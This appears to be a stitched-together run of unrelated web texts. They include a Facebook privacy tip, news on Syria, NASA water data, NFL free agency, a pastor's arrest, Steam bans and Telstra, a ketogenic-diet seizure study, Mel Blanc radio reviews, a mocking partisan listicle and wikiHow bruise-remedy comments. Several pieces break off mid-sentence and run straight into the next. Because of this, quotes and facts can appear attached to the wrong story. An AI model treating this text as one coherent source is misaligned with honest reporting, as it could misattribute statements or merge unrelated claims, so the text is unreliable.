All you have to do to prevent this is sign in to Facebook and click through to (get ready) -> Settings -> Privacy -> News Feed and Wall -> Facebook Ads -> Appearance in Facebook Ads and click “no one.” Unless, of course, you want to be semifamous and have your picture used to push some garbage product or website without your knowledge
Facebook reassures users in wake of service terms change – Breitbart
“”We wouldn’t share your information in a way you wouldn’t want,” Zuckerberg said”
[tags]Facebook, Terms of Use, photography, social media[/tags]“Desperate Housewives” actress Eva Longoria stands by President Barack Obama “no matter what,” but the Democratic politician has lost the faith of another invaluable supporter: Hulk Hogan.
During a Thursday appearance on “Fox and Friends,” the burly, bandana-wearing blond explained why he no longer supports our commander-in-chief.
“I was a big Obama supporter and kinda, like, believed everything he said he was gonna do,” Hogan said. “But now that nothing’s happened,” Hogan said he has had |
an ambulance to treat people hurt in the first blast, and were caught in the second."
Attacks on civilians are war crimes and may also amount to crimes against humanity," Amos said.
In Damascus, state-run news agency SANA said rebel mortar fire killed two civilians and wounded seven on the city's outskirts.Earth’s dry regions are getting drier, and its wet regions are getting wetter. That might not seem like such a big deal, but according to Jay Famiglietti, a water scientist at NASA’s JPL, it is. As he said to USA Today, “We are revealing a global disaster in the making, yet we are seeing very little coordinated response.”
Famiglietti is the co-author of a study by researchers from NASA and UC Irvine published last week in the journal Science. The scientists analyzed data collected by NASA’s GRACE Satellites from 2012 to 2014 to see how melting glaciers and ice sheets have impacted sea level rise. NASA explained in a statement that “changes in weather and climate over the past decade have caused Earth’s continents to soak up and store an extra 3.2 trillion tons of water in soils, lakes, and underground aquifers, temporarily slowing the rate of sea level rise by about 20%.”
But the researchers also found, for the first time, that our dry regions and our wet regions have become more polarized. USA Today summarizes these results:
Areas that have become wetter included the upper Missouri River basin, the northern Amazon and parts of Africa, as well as other parts of the tropics. Areas throughout the mid-latitudes became drier: in the Middle East and North Africa, parts of India and China, and across much of the southern and western United States, where drought-plagued California and the southern High Plains stood out for especially large losses of water.
The findings suggest that we are on path for global water inequality. In Famiglietti’s words, “the implications of our study for the redistribution of water availability are staggering and point to an emerging class of ‘haves’ and ‘have nots.’” He continued, “When combined with our previous work on groundwater depletion, we are revealing a global disaster in the making, yet we are seeing very little coordinated response.”
Taken together with the results of another study published last week—that 4 billion people live with severe water scarcity for one month each year, and half a billion people live in this conditions all the time—this is bad news.On average, a new species of dinosaur is discovered every six weeks. The Dinosaur Dictionary profiles over 300 known dinosaurs. Many dinosaurs listed in the scientific literature as "doubtful" have been omitted.
Classifications and other characteristics are noted as "not confirmed" or followed by a question mark.
Listen to the pronunciation of over 300 dinosaur names by simply clicking on the phonetic spelling of the name.
Dinosaur Fun and Games
Learn about the dinosaurs listed by listening to them talk about themselves, that is... If Dinosaurs Could Talk. Click on a dinosaur name to hear more about the dinosaur you are hunting.
Ankylosaurus Compsognathus Plesiosaurus Stegosaurus Apatosaurus Lambeosaurus Rhamphorhynchus Styracosaurus Archaeopteryx Maiasaura Saurornithoides Tyrannosaurus rex Baronyx Pachycephalosaurus Seismosaurus Utahraptor Coelophysis Parasaurolophus Spinosaurus Velociraptor
Note: Throughout the Dinosaur Database you will find phonetic spellings of many dinosaur names. Clicking on these phonetic spellings enable you to hear how a dinosaur name is pronounced. To be able to hear the audio files you must have Windows media player installed on your computer or an audio player equivalent.
We've selected twenty dinosaurs and provided clues that will help you pick the dinosaur described. Just click on the silhouette of the dinosaur to see if you made the right choice.A 1 R activation suppresses seizures. In line with our previous demonstration (6), A 1 R+/– mice, A 1 R–/– mice, and Adk-Tg mice (based on expression of a ubiquitously expressed Adk transgene on an Adk-null background) maintained on a control diet (CD) experienced regular electrographic hippocampal seizures consistent with deficient adenosine/A 1 R signaling (Figure 1). Seizure frequency and duration were similar between Adk-Tg and A 1 R–/– mice and significantly lower in A 1 R+/– mice (but still elevated above WT; Table 1). Behavioral (clinical) seizures were never observed in the mutants, and electrographic seizures were never observed in the WT group.
Figure 1 Seizure suppression by KD depends on A 1 R activation. Representative EEG recordings from the CA3 of WT and transgenic mice reflect seizure distribution over a 1-hour time span (top traces) and individual seizures at higher resolution (1 minute; bottom traces). Asterisks in top traces denote the individual seizures chosen. Beginning and end of seizures are marked by vertical arrows. Traces from CD-fed animals showed baseline seizure activity in all mutants and lack of seizures in WT. KD almost completely abolished seizures in Adk-Tg mice; rare seizures were of reduced duration, as shown. KD reduced seizure activity in A 1 R+/– mice, had no effect in A 1 R–/– mice. Treatment with glucose or DPCPX reversed KD effects. See Table 1 for quantitation.
Table 1 Seizure frequency and duration
To quantify the effects of KD, WT and transgenic mice were fed CD or KD. At 3 weeks, KD nearly abolished seizures in Adk-Tg mice and significantly reduced the duration of remaining seizures (Table 1 and Figure 1). If KD suppresses seizures in Adk-Tg mice by elevating adenosine in brain, we predicted that its seizure-suppressing potential would be reduced in A 1 R+/– mice, which have only 50% of this receptor and lowered sensitivity to adenosine (9). As expected, KD-fed A 1 R+/– mice experienced a significant, but lesser (approximately 50%), reduction in seizure frequency, although seizure duration was not changed compared with CD-fed A 1 R+/– mice (Table 1). We further predicted that spontaneous seizures in A 1 R–/– mice would be resistant to the beneficial effects of KD if its protective mechanism involves activation of A 1 Rs. Indeed, KD was completely ineffective in affecting seizures in A 1 R–/– mice. These findings demonstrate that KD suppresses seizures caused by adenosine deficiency (Adk-Tg) or reduced adenosine signaling (A 1 R+/–), but has no effect in the absence of A 1 Rs (A 1 R–/–).
Seizures are restored with glucose or A 1 R blocker treatment. To determine the extent to which the reduced frequency of spontaneous seizures in Adk-Tg and A 1 R+/– mice was specifically the result of the low-carbohydrate nature of KD, we injected glucose into KD-fed mice of each genotype. In Adk-Tg and A 1 R+/– mice, which displayed reduced seizures after KD, glucose injection increased seizure frequency significantly within 30–90 minutes; in Adk-Tg mice, the increase did not quite reestablish the baseline CD-fed seizure phenotype (Table 1 and Figure 1).
The loss of KD-induced seizure suppression in A 1 R–/– mice, combined with the reduced efficacy of KD in A 1 R+/– compared with Adk-Tg mice, is indicative of seizure suppression via a mechanism involving A 1 Rs. To test this further, we injected a nonconvulsive dose of 8-cyclopentyl-1,3-dipropylxanthine (DPCPX; 1 mg/kg), an A 1 R-selective antagonist. In Adk-Tg and A 1 R+/– mice, DPCPX restored seizure frequency to control levels, whereas it had no significant effect in WT or A 1 R–/– mice (Figure 1 and Table 1). DPCPX in KD-fed Adk-Tg mice increased seizure duration significantly compared with both CD and KD conditions; however, it did not change seizure duration in A 1 R+/– mice, which suggests that its effect on duration depended on the relative abundance of A 1 Rs. As expected, DPCPX had no effect on seizures in A 1 R–/– mice. These data, coupled with the lack of KD efficacy in A 1 R–/– mice, demonstrated that A 1 Rs are a molecular target whereby KD reduces ictogenesis in vivo.
WT and A 1 R–/– mice have similar metabolic responses. To confirm that A 1 R–/– mice experienced a similar metabolic response to KD, we measured the plasma level of β-hydroxybutyrate (βHB) in A 1 R–/– compared with WT mice. There was no difference in βHB levels between genotypes when mice were fed CD (WT, 0.48 ± 0.09 mM; A 1 R–/–, 0.60 ± 0.09 mM; n = 5 per group, P > 0.05), and there was no evidence for inadequate or decreased ketones in A 1 R–/– mice fed KD for 3 weeks. βHB levels were elevated similarly and significantly in both genotypes in KD- versus CD-fed mice (WT, P < 0.001; A 1 R–/–, P < 0.002); overall, KD-fed A 1 R–/– mice demonstrated a nonsignificant trend toward higher βHB levels compared with KD-fed WT mice (WT, 1.38 ± 0.15 mM; A 1 R–/–, 1.96 ± 0.29 mM; n = 5 per group, P > 0.05).
KD reduces ADK expression. Ambient adenosine in brain is regulated largely by ADK (10). Whereas overexpression of ADK (causing adenosine deficiency) has been linked to seizures (6), reduced expression of ADK (thus increasing adenosine) renders the brain less susceptible to seizures (6) and might be involved in an endogenous protective mechanism of the brain in response to stress or injury (10). We therefore hypothesized that metabolic stress imposed by KD might likewise lead to reduction in brain ADK. KD- or CD-fed WT mice were sacrificed at 3 and 4 weeks of feeding, corresponding to the time span of seizure analysis above. Western blot showed that this key adenosine-regulating enzyme was downregulated significantly in the KD group (Figure 2), which suggests a possible mechanism for KD’s seizure suppression.
Figure 2 KD leads to downregulation of ADK. (A) Representative Western blot from brain extracts of WT mice fed CD or KD for 3 and 4 weeks. Note the 2 different splice variants of ADK in the ADK-reactive bands. Anti-tubulin immunoreactivity was used to normalize for equal loading. Lanes were run on the same gel but were noncontiguous (white line). (B) Brain ADK from mice fed CD or KD for 3–4 weeks, expressed relative to CD (n = 4 per group). Data are mean ± SEM. **P < 0.01 vs. CD.
ADK overexpression in human epilepsy. We have demonstrated previously that astrogliosis, ADK overexpression, and resulting adenosine deficiency are implicated in seizure generation in rodent models of epilepsy (6, 10). Therefore, reconstitution of normal adenosine signaling by KD might be of therapeutic value for epileptic patients with refractory temporal lobe epilepsy (TLE). To investigate whether adenosine dysfunction is likewise implicated in the pathology of human epilepsy, we studied the expression of ADK in hippocampus of patients with hippocampal sclerosis (HS) and histologically normal human hippocampus. ADK was upregulated within specific hippocampal regions in HS specimens compared with control hippocampus (Figure 3, A–D). Abundant ADK-immunopositive cells with typical astroglial morphology were observed in areas with prominent gliosis in all HS specimens; double-labeling confirmed ADK expression in glial fibrillary acidic protein–positive (GFAP-positive) reactive astrocytes (Figure 3, B and D). Western blot analysis confirmed a greater than 3-fold increase in ADK levels in hippocampus of TLE patients (Figure 3, E and F), which suggests that adenosine deficiency could contribute to the epileptic phenotype in those patients.
Figure 3 ADK immunoreactivity in hippocampus of control and TLE patients with medial temporal HS. (A–D) Sections were counterstained with hematoxylin. Shown are representative CA1 (A and B) and hilus (C and D) from the same sample. (A and C) Control hippocampus showed weak ADK immunoreactivity. Histologically normal surgical hippocampus displayed an immunoreactivity pattern similar to that in control autopsy hippocampus (not shown). (B and D) The HS specimen demonstrated increased ADK expression in both residual pyramidal and hilar neurons (arrows and B, top inset) and in reactive astrocytes (arrowheads and B, bottom inset). Insets in D show expression of ADK (red) in a reactive astrocyte (GFAP, green). Scale bars: 160 μm (A and B); 80 μm (C and D); 40 μm (A, inset, and B, top inset); 15 μm (B, bottom inset, and D, insets). (E and F) Western blot analysis of ADK of total homogenates from control autopsy hippocampus and HS specimens. (E) Representative immunoblots. (F) Densitometric data, expressed relative to optical density of β-actin (n = 5 per group). Data are mean ± SEM. *P < 0.05 vs. control.
Using transgenic mice and complementary pharmacology, we demonstrated that KD-induced seizure control was dependent on A 1 Rs: KD virtually abolished seizures in Adk-Tg mice (with reduced endogenous adenosine and intact A 1 Rs), reduced seizures partially but significantly in A 1 R+/– mice, and had no effects in A 1 R–/– mice or in the presence of A 1 R blockade. We showed overexpression of ADK (which should reduce A 1 R activation) in human epilepsy and KD-induced reduction of ADK in mouse brain, thus providing a mechanism for KD-induced increase in adenosine and anticonvulsant effects of KD via A 1 Rs. Whereas altered adenosinergic signaling might not be the underlying cause for seizures in all epilepsies, adenosine has stopped seizures in every seizure model tested to date, including models of pharmacoresistant epilepsy. Thus, no matter the cause of the seizure, adenosine can help to resolve it, provided — as shown here — that A 1 Rs are present. Subclinical, brief electrographic seizure events (undetectable with scalp electrodes), as exhibited in all 3 strains of transgenic mice in the present study, are now increasingly recognized and likely play an important role in early epileptogenesis (11).
Acute reversal of seizure suppression by glucose confirmed the specificity of KD’s metabolic effects and comported with clinical observations and animal studies highlighting the importance of low glucose to the effects of KD (12). Indeed, we recently demonstrated in vitro that metabolic consequences of KD — reduced extracellular glucose and increased intracellular ATP — produce A 1 R-dependent inhibition of cornu ammonis region 3 (CA3) pyramidal cells (3). Of interest, glucose-induced seizure reversal in Adk-Tg mice was not complete (which indicates that the specific enzymatic activity of ADK might have been increased based on rapid glucose-dependent restoration of the energy charge), although ADK levels were still quantitatively reduced (Figure 2). Additional mechanisms might also contribute to KD-induced seizure suppression: in vitro studies demonstrated direct acute effects of ketones (13, 14), although the relative importance of these mechanisms to the chronic in vivo effects of KD administration in humans remains to be determined.
When relating these findings to human epilepsy, we found that brain tissue resected from humans with intractable epilepsy showed increased ADK — and therefore likely a relative adenosine deficiency. Previously, adenosine deficiency has been demonstrated directly in microdialysis samples from epileptogenic hippocampus in human patients with TLE (15). These results and our current data indicate that alteration of adenosine signaling is relevant to human epilepsy. Specifically, at least some forms of human epilepsy replicate key features of our adenosine-deficient model, increasing the translational potential of these results. Together, these data delineate a clinically relevant relationship among KD, adenosine, and epilepsy, which could lead to less-restrictive diets, alternate pharmaceutical approaches, and broader applications of metabolic strategies to different medical conditions.plus-circle Add Review
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Reviewer: RM_115 - favorite favorite favorite favorite favorite - July 17, 2010
Subject: Lots of surprises and fun. This is a delightful collection of Mel Blanc shows that are very well worth hearing. They don't make comedy like this anymore. - July 17, 2010Lots of surprises and fun.
Reviewer: EasyAceMCMLV - favorite favorite - February 18, 2010
Subject: Clarification and Lament Er, Galland, he came up with nothing of the sort. Blanc as Porky Pig pre-dated Zookie. By a decade at least. He did, however, derive a few of his Looney Tunes characterisations from some of his earlier radio work: if you listen to "The Judy Canova Show," you'll hear the antecedents of Sylvester and of Speedy Gonzalez (the Pedro the Gardener character became Blanc's choice of voice when Speedy was created in due course).
That said, Blanc deserved far better out of his own radio series. It's worth it to collect if you're a Mel Blanc completist (and who really isn't?), and there are times when the writing justifies the star, but the show's premise---Blanc as a repairman where anything coming into his shop leaves in worse shape than when it arrived, including his hesitant romance with the daughter of a cantankerous supermarket owner---was far better than its execution. Blame the writing. It was too often trite and seems to have dated almost the moment it went over the air, but the good moments (they crop up briefly in just about every installment) are very good, indeed.
Blanc has an impeccable radio legacy, if you've heard his work with Judy Canova (Sylvester and Pedro), Jack Benny (Professor LeBlanc, the sound of the famous broken-down Maxwell car, and especially the famous "Train leaving for Anaheim, Azuza, and Cu-camon-ga!" routines), Burns & Allen (it only began with the Happy Postman), and others. It's a shame that his own series--and he deserved a crack at one---tends to undermine that legacy. - February 18, 2010Clarification and Lament
Reviewer: perlster - - November 26, 2008
Subject: ignore previous post about problem: The problem resolved itself - file was DLd OK - November 26, 2008ignore previous post about problem:
Reviewer: PsychoDad - favorite favorite favorite favorite favorite - May 14, 2008
Subject: What a treasure! These episodes are a showcase for Mel Blanc's vocal talents! The plotlines are thin and follow predictable formulas--that doesn't mean they aren't hysterically funny! Typically, Mel is trying to make a date with his girlfriend Betty [Mary Jane Croft, later known as Betty Ramsey on ILove Lucy]: he must get by her father, Mr. Colby, who doesn't let an episode get by without thundering 'Mel Blanc, I'll break every bone in your body!'; a visit from his lodge president [Loyal Order of Zebras],and whatever quirk, or quirky people, the show throws his way that week. Jokes are corny, meant to be, and referred to as such. Extra laughs occasionally crop up with someone blowing a line or ad-libbing. I would give anything to have been in the studio during the show--the audience is frequently in hysterics at some kind of antics going on that the radio audience does NOT hear!
Solutions to seeing Betty and getting back into Mr. Colby's good graces often turn on Mel masquerading as a foreign character, giving him an opportunity for extreme dialect humor [which may not be appreciated by modern sensibilities]: a French designer, a South American lodge brother, a Chinese philosopher, etc. etc. Mel also plays Zookie, Mel's nephew, or possibly cousin [early episodes have Zookie and Mel's uncle living with him. The uncle disappears eventually, but Zookie remains]. Many plot lines turn on Mel and Betty's never-definite marriage plans: securing money or respect or Mr Colby's approval. Of course, all the situations twist about, and Mel comes up golden, arm in arm with Betty, at least until next week.
All in all, a true classic by a brilliant American performer. Very entertaining, literally laugh-out-loud funny at times, this is 'a must-see', er, a'must-hear'. - May 14, 2008What a treasure!Putting aside all of the nutjob reactions to the veto of Arizona’s crazy anti-gay law, some of which were chronicledhere, right wingers were still plenty busy mouthing off this week.
1. Pat Buchanan: 'Repeal all civil rights laws, segregate gays.'
Poor Patty was feeling a bit ignored of late, so he kicked off the week with a doozy of acolumn melodramatically titled “How Freedom Dies.” Springboarding from the kerfuffle around all the exciting anti-gay legislation, the conservative bigot, er, pundit, proposed that the U.S. repeal all its civil rights laws.
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“A radical idea: Suppose we repealed the civil rights laws and fired all the bureaucrats enforcing these laws,” Buchanan wrote. “Does anyone think hotels, motels and restaurants across Dixie, from D.C. to Texas, would stop serving black customers? Does anyone think there would again be signs sprouting up reading 'whites' and 'colored' on drinking foundations and restrooms?”
Maybe.
The work of civil rights is done, he goes on to claim, and the only reason for keeping these laws on the books is the evil left-wing plot to “validate the slander that America is a racist, sexist, homophobic, xenophobic country which would revert to massive discrimination were it not for heroic progressives standing guard.”
Where would anyone get the idea that there was a problem with homophobia in this country? From Arizona, say, or Georgia or Ohio or Indiana, which all tried to pass legislation making it okay to discriminate against gays? That’s crazy talk.
Uncle Patty has a much better solution: segregation.
“As for the Christians of Arizona and same-sex unions in Arizona," he said, "if they don't like each other, can they not just avoid each other? After all, it's a big state.”
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2. Bill O’Reilly: 'Women have gender-deficiencies and therefore should not be president, right?'
Desperate for further confirmation that Hillary should never become president, O’Reilly invited two actual women on his show for a serious discussion of women’s unfitness to lead the free world, due to their “gender deficiencies.” It was not enough that Michele Bachmann already said the country was not ready for a woman president. O’Reilly invited Republican strategist Kate Obenshain and Fox contributor Kirsten Powers on to discuss the issue, but it didn’t go as planned. First, O’Reilly asked Powers if there was “some downside to having a woman president, something that may not fit with that office, correct?”
“Hmmm, I’m gonna say say, no, Bill,” Powers said.
O’Reilly admitted that men, “may not be as open to sensitive discussion as women,” then practically begged Obenshain to back him up on the woman thing,. “There’s gotta be a downside for a woman, do you know one?” he asked her. There’s just gotta be; throw the poor suffering fool a bone."
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“Uh, you know, I’m having a tough time with this one too, Bill,” Obenshain said, adding, “It depends on the certain individual.”
But wouldn’t Russian president Putin, North Korea, the Chinese and “the mullahs” all test a hypothetical Hillary Clinton presidency, O’Reilly wondered.
“But, Bill, they do that to everybody,” Powers replied.
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Quick, get Michele Bachmann back on the show. She's a woman who knows her gender is deficient.
h/t: Rawstory
3. Ted Nugent: 'I know I took back the whole ‘subhuman mongrel’ thing, and promised not to call people names, but Obama is a Nazi trying to start a race war... just saying.'
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No, Ted Nugent cannot shut up, thank you very much. Even though his brother Jeff told him to tone it down, and his kids have asked him to stop calling people names. To Erin Burnett, he simply denied any racial component to his calling the President "subhuman" because there is "not a racist bone in my body." Nope, not one. Not when he argued that African Americans could fix "the black problem" if they just put their "heart and soul into being honest [and] law-abiding." Not when he said, "I'm beginning to wonder if it would have been best had the South won the Civil War" or that "black communities across America" have a "mindless tendency to violence."
Nope, no racism there.
Later, with conservative dickhead Dennis Miller, Nugent defended his claim that Obama is like Hitler, trying to start a race war with Obamacare and the IRS, and said people who work for the administration are like “jack-booted thugs” and “brownshirts.”
The whole pledge to stop calling people names is totally working out for Ted.
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4. Paula Deen sees her struggle as very like Michael Sam’s coming out.
Actually, that’s not quite right. Paula Deen did not compare herself to NFL prospect Michael Sam—she compared herself to “that black football player.”
She said, “I’m fighting to get my name back,” adding, “I feel like ‘embattled’ or ‘disgraced’ will always follow my name. It’s like that black football player who recently came out. He said, ‘I just want to be known as a football player. I don’t want to be known as a gay football player.’ I know exactly what he’s saying.”
Got it. So Paula does not want to be known as a gay black football player. You got a problem with that?
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5. Pat Robertson gets to use the word sodomy a whole bunch. Praise the Lord.
The other Patty, who so enjoys using that word sodomy, perhaps because it sounds biblical to him—all nice and Old Testamenty—weighed in this week.
You can imagine the state the TV preacher was in about the events in Arizona—not that this whole equal rights for same-sex couples thing hasn’t had his knickers in a twist for quite a while. “What we’re seeing now, more and more, the rights of homosexuals—the practice of Homo.Sex.U.Al.Ity, sodomy, consensual sodomy—is being raised and elevated above the rights of religious believers,” he ranted, complete with finger wag. “And that is terrible!”
You can imagine his distress, because, in his view Arizona’s proposed SB 1062, which would have allowed businesses to discriminate against LGBT people, had “nothing to do with limiting homosexuals.” Nothing.
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Instead, “It has to do with giving religious people the right to practice their religion freely,” he concluded.
Which means the freedom to discriminate.
6. Louie Gohmert: 'God answered my prayers by creating the Tea Party.'
Little known verse in Genesis: And on the eighth day, God created the Tea Party. And he saw that it was... well, f*cking nuts!
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Well, that is one version of events. The other is cuckoobird Texas Rep. Louie Gohmert, who says the Tea Party is God’s answer to his personal prayers. Gohmert was marking the fifth anniversary of the founding of the marvelous Tea Party movement, which has brought so much intelligent, nuanced debate to our country, in a speech to the Tea Party Patriots, a.k.a., like-minded nutjobs.
He reminded the assembled what a horrific year 2008 was. McCain lost to Obama; Pelosi became Speaker of the House; Harry Reid maintained leadership in the Senate. “And Anthony Weiner got some new friends to text with,” Gohmert said. Ooh, good one.
But out of the ashes, came people who just did not want to pay any more taxes. The very people Louie Gohmert had conjured in his personal conversations with God. It was a goll-darned miracle, “an answer to my prayers,’” Gohmert said.
The Lord works in very mysterious ways, that is for sure.
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7. Gavin McInnes: 'Dominicans abuse food stamps, and use them as a fat pill.'
Why should the homophobes get all the attention this week? What about the racists? They deserve their turn. Enter Vice magazine founder Gavin McInnes, who is famous for telling various publications how much he enjoys being white, and how much he does not enjoy non-whites. This week, he told Fox News' host Sean Hannity that he should not demonize some white surfer who is on food stamps because it’s those Dominicans in New York who are the real food stamp abusers—they are using them as a “fat pill,” he said.
We had not heard of this “fat pill” before. Please do enlighten us, Gavin.
Democratic activist Jehmu Greene, The liberal foil on the show, pointed out that it was wrong to demonize the food assistance program and hungry children because of one surfer Bill O’Reilly’s producer found in California.
“Why not? Let’s demonize them!” McInnes exclaimed. “Have you seen the poor? They’re gigantic! They’re overfed!”
“Talk to a hungry child,” Greene suggested.
“I’d love to,” McInnes replied. “I can’t talk to them, they’re too big, they can’t get off their chair."
If you're a little lost here, you're not alone.
8. Jack Bridwell just does not understand why people are offended by a Confederate flag license plate.
Jack Bridwell, the state commander of the Georgia division of Sons of Confederate Veterans, has designed a specialty license plate that prominently features a large Confederate battle flag. He cannot, for the life of him, understand why this might be controversial or offensive. “What’s the big deal?” he asked plaintively this week. “If I offend anyone, I don’t understand why because we had the emblem on there for years.”
Well, that certainly makes it much better.
Guess he missed the part in history class explaining that the Confederate flag represents racism, injustice, slavery and oppression of blacks, as well as the South just refusing to accept the results of a democratic election. But this is his heritage, and he wants to celebrate it.
Next month: Third Reich heritage month?
9. CNBC’s Joe Kernen: 'Climate change is like witchcraft.'
It’s great to know you can find lunatics all over TV and that idiocy is not limited to Fox News. This winter has really thrown off a lot of people who are immune to scientific study. Because it’s been so cold out their front doors on the East Coast. So therefore, climate change is a hoax, no matter what’s going on in Australia or California. What matters is whether they have to wear a really warm coat or not.
CNBC’s Joe Kernen says climate change, and January’s record-setting heat, probably had nothing to do with increasing CO2 emissions. No, he prefers to go with the explanation that it is just inexplicable.
“It’s almost like witchcraft,” Kernen said on Thursday. “In the Middle Ages it was witchcraft. You would have attributed adverse weather events to witchcraft. Now we just have CO2 at this point.”
Yes, Joe, those two things are very similar, science and witchcraft, witchcraft and science. Whatever.
Then again, this was the week, as Phil Plait pointed out in Slate, when a lot of climate science deniers lost their “expletive deleted.” It was hard to outdo Charles Krauthammer’s Washington Post op-ed in which he called climate scientists “whores.”
In the biblical sense, of course.
10. Cheney rears his Darth Vader-like head: 'Obama would rather buy food stamps than have a strong military.'
It is not enough for Dick Cheney that Barack Obama has upped America’s use of drones and used them to kill more innocent folks in the Middle East than his predecessor. The president has gone soft, Cheney says. He would rather spend money on “food stamps” than on the military. Cheney expressed this view on Monday to Sean Hannity in an interview about the proposal put forth by Defense Secretary Chuck Hagel calling for shrinking the Army to its smallest size in 74 years, closing bases and reshaping forces. The former vice president called the cuts “ just devastating.”
Even worse? A compassionate president. Truly awful.Christian prayer (Shutterstock)
A resort founded by Methodists in Michigan is being sued because of its policy that only lets Christians own property within its community.
MLive.com reports that the Bay View Association, a cottage resort located in Emmet County, Michigan, is being sued by an organization called the Bay View Chautauqua Inclusiveness Group that objects to its restrictions on who is allowed to own property there.
Founded in 1875, the Bay View Association requires all property owners to be practicing Christians. Additionally, the resort places restrictions on what kinds of Christians can own property, including a quota on the number of Catholics who can own property.
The association even used to have a rule that only white people could own property on the resort, but it officially scrapped that restriction in 1959.
Sarah Prescott, the attorney who is filing the suit against the resort on behalf of the Bay View Chautauqua Inclusiveness Group, tells MLive.com that even some resort members are upset by the rules because they prevent them from passing their cottages onto relatives who are of the “wrong” religion.
Bay View Association Executive Director Mike Spencer defended his organization’s restrictions, although he acknowledged that they might not be popular with many people.
“Like most private associations, there are specific requirements for membership,” he said in an official statement. “Our membership requirements have been part of our history and we understand that some of our members or the general public may disagree with them. The Bay View Association of the United Methodist Church is an ecumenical, private, voluntary membership, organization.”LM Lisa Moore applied vinegar on my bruise area, it helped. Thank you."..." more "I was sad to see my arm bruised. I look it up on wikiHow to help. I drink lemon and ginger with hot water,
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DG Doralissa Gomez "It really worked. I had three bruises, and now they're gone. Thank you."
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DR Dana Ray "Applying ice immediately kept my arm from bruising."
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EG Erika Goerner "I like all the suggestions."
A Anonymous "I think it worked good."FLOWERY BRANCH -- Falcons linebacker Sean Weatherspoon is "leaning toward" signing with the Arizona Cardinals in free agency, according to a tweet by Rand Getlin an NFL Insider for Yahoo Sports.
He cites a "league source." (Agents are not league sources. They don't work for the league, but it's either an agent or a team source.)
Weatherspoon, the team’s first-round pick in the 2010 draft (19th overall), was headed into a contract season before rupturing his Achilles tendon while running with the training staff in June.
Weatherspoon, 26, was coming off a tough campaign in 2013. The 6-foot, 1-inch and 241-pound linebacker, spent part of the season on injured reserve/designated to return with a foot injury before making it back, only to exit again with a knee injury.
Arizona has been mentioned by Kent Somers of The Arizona Republic as a possible suitor for if he can't reach a deal with the Falcons.
Falcons general manager Thomas Dimitroff said the team wants to re- sign Weatherspoon. Last Saturday after the Black College Hall of Fame ceremony, Dimitroff expressed optimism that a deal would be done before the league's new year starts at 4 p.m. on Tuesday.
Sean WeatherspoonCLOSE Randy Johnson, 52, formerly the pastor at Dallas Center Church of the Brethren, was arrested Jan. 25, 2017, on allegations that he sexually abused a child multiple times. Johnson faces 13 criminal charges. Wochit
Buy Photo About 40 people attended Dallas Center Church of the Brethren on Sunday, Jan. 29, 2017, after their former pastor was accused of sexually abusing a teenage girl. (Photo: Molly Longman/The Register)Buy Photo
DALLAS CENTER, Ia. — The arrest of Dallas Center Church of the Brethren's 14-year pastor on child molestation charges tinged Sunday school and a worship service at the church Sunday, although it wasn't explicitly referenced.
About 40 people gathered in the wooden pews for worship, four days after Randy August Johnson, 52, was accused of repeatedly sexually abusing a girl from 2013 to 2014 while she was 12 and 13 years old.
Randy Johnson |
shin, Veselnitskaya and BakerHostetler for this report were unsuccessful, and the Department of Justice would not comment on Browder’s complaint.When we received a couple of complaints about Steam wrongfully banning Modern Warfare 2 players, I was a little skeptical. Flash forward 500 "Guys, did you hear about this?" emails later, I feel bad for the initial doubt, and we have a lovely update to the original story.
Affected users have been given an apology from Valve president Gabe Newell, in addition to a free copy of Left 4 Dead 2, plus another copy for gifting. From his email:
The problem was that Steam would fail a signature check between the disk version of a DLL and a latent memory version. This was caused by a combination of conditions occurring while Steam was updating the disk image of a game. This wasn't a game-specific mistake. Steam allows us to manage and reverse these erroneous bans (about 12,000 erroneous bans over two weeks).
If the issue is not specific to just Modern Warfare 2, why are all the complaints we've been hearing about only related to that one game? Hmm. At any rate, I'd say this situation was handled pretty darn well.
You are logged out. Login | Sign upUVALDE, Texas - A 20-year-old Leakey man was indicted by a Uvalde County grand jury in connection with a fatal crash that killed 13 members of a New Braunfels church.
Jack Dylan Young was indicted on 13, two-count indictments on charges of intoxication manslaughter, manslaughter and one two-count indictment of intoxication assault and aggravated assault with a deadly weapon causing serious bodily injury, Uvalde County District Attorney Daniel Kindred said in a news release.
Related: NTSB releases preliminary report on Uvalde bus crash that killed 13
Young turned himself in on Wednesday night and is being held in the Uvalde County Jail on bail totaling $380,000.
If Young is released on bond, he will have a 7 a.m. to 7 p.m. curfew, will need to wear a GPS monitor, have an ignition interlock installed on his vehicle and undergo weekly urinalysis testing, Kindred said.
Young is due in court July 20 and July 21.
VIDEO: Pastor urges community to forgive man indicted for killing 13 people in bus
Related: Driver took pills before crashing into church bus, affidavit says
According to an affidavit, Young was texting and driving and had taken prescription pills prior to the March 29 crash on Highway 83 near Concan. Marijuana was also found in Young's 2007 Dodge Ram pickup, the affidavit said.
The victims from First Baptist Church New Braunfels were returning from a retreat when the violent crash happened.
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Copyright 2017 by KSAT - All rights reserved.Telstra CEO David Thodey admits to being 'greatly disappointed' when he has received poor customer service from his company. Picture: Adam Knott
IF the Ten Network was after a special guest star for its show Undercover Boss Australia, they should look no further than David Thodey.
Like the high-flying bosses on the show who give up the comfort of their corner offices to join the coalface, the Telstra chief executive has been quietly doing some of his own undercover work.
"I do ring our numbers. People will often say: 'Have you ever rung 132200?' And yes I do. I am a mystery shopper, a mystery customer," he says in an exclusive interview with The Australian.
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The experience is not always a pleasant one. Thodey admits to be "greatly disappointed" at being personally on the receiving end of poor customer service. But he is only one of thousands who put up with it everyday. And it is a problem he is determined to fix.
Thodey is now deep in the first stage of a three-year plan where Telstra will spend $1 billion to recapture market share by giving away smartphones, cutting costs and simplifying the business.
Improving customer service has been the constant mantra since he took over as chief executive on May 19 last year.
But determination and dollars alone may not be enough.
On one view, Thodey is a man for the times at Telstra.
After the years of bluster and brawling under former chief executive Sol Trujillo and his band of American expats, Thodey and Telstra chair Catherine Livingstone have helped mend fences with the government and started to re-engage with staff.
But Telstra is in trouble.
Thodey has downgraded profit guidance four times in 18 months. Its core fixed-line revenue base remains under siege. The share price is still wallowing well below the $3.30 issue price in the 1997 float.
In September its biggest shareholder, the Future Fund, slammed its performance.
And now its much vaunted $11bn deal to transfer customers to the National Broadband Network (NBN) is clouded by political uncertainty.
Even if the NBN deal does get confirmed, Telstra may not be in line for the revenue bonanza some predicted, amid concerns that the assumptions underpinning penetration rates for the NBN are far too bullish. To some it looks a little like the Titanic.
"Thodey is like the captain of the ship as it is slowly sinking. He's still there on deck doing his best to stay afloat, but he's basically powerless to change the ultimate outcome," says one fund manager.
